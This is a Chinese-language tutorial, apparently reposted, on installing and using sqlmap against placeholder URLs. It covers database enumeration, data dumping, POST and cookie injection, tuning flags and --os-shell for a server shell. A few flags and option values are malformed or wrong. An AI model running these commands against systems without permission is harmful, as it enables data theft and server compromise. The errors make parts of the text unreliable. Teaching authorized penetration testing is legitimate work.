• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

SQLMAP 渗透工具使用教程

武飞扬头像
juejin
帮助119

引文

今天介绍一下常用渗透工具SQLMAP的安装与使用。我们先看SQLMAP的应用场景以及具体信息:sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

功能

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

根据上文可知SQLMAP是一个自动化进行SQL注入的工具接下来先看一个他的最简单的用法。

sqlamo.png

安装

sqlmap有专门的网站供我们去下载:

sqlmap.org/

可以选择下载压缩包形式解压用PYTHON命令去运行即可,SQLMAP的安装下载还是比较人性化的。

实例

当我们渗透一个网站发现URL为如下格式:

xxxxxxxxx.php?id=1;

根据以往学习的SQL注入,该点极有可能存在SQL注入漏洞,我们将其放入SQLMAP去检测:

sqlmap -u "xxxxxx.php?id=1" --batch

-u 指定目标url

--batch 代表全自动,遇到yes/no自动选yes

接着查看数据库

sqlmap -u "xxxxxx.php?id=1" -dbs --batch

找到数据库名字后,我们接着查数据库下面的表

sqlmap -u "xxxxxx.php?id=1" -D 数据库名 -t-ables --batch

找到表后,我们查字段,然后dump我们想要的数据

sqlmap -u "xxxxxx.php?id=1" -D 数据库名 -T 表名 --columns --batch

以上就是SQLMAP的最简单的用法,当然不止这些。

进阶

当我们学会SQLMAP的基本用法后,便可以尝试试一试其中更高级的命令了。

POST

SQL注入不止GET当然还有POST,但是POST请求是一个表单吖,那我们要怎么做?

此时需要我们抓包后保存请求的表单来达到POST注入的目的。

 --method=GET # 指定请求方式,还有POST

优化

当我们用普通命令跑脚本时,会发现效率非常的漫,这是因为我们并没有指定一些特征扫描器会全扫一遍,以此我们可以使用一些命令优化:

设置扫描等级

--risk 默认1,最高4,等级高容易造成数据被篡改风险

优化检测方法

--predict-output

建立长连接

--keep-alive

提高并发线程

--threads=7 #建议不要超过10

配置目标参数

指定扫描的参数

--data="user=1&pass=2"

使用cookie的身份认证

--cookie="security=low;PHPSESSID=114514

使用随机的浏览器代理头

--random-agent

执行操作系统命令

--os-shell

在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。

当为MySQL数据库时,需满足下面三个条件:

  • 当前用户为 root
  • 知道网站根目录的绝对路径
  • 该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 --os-shell )
sqlmap -u "www.xino.php?id=1" --os-shell

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanekbf
系列文章
更多 icon
同类精品
更多 icon
继续加载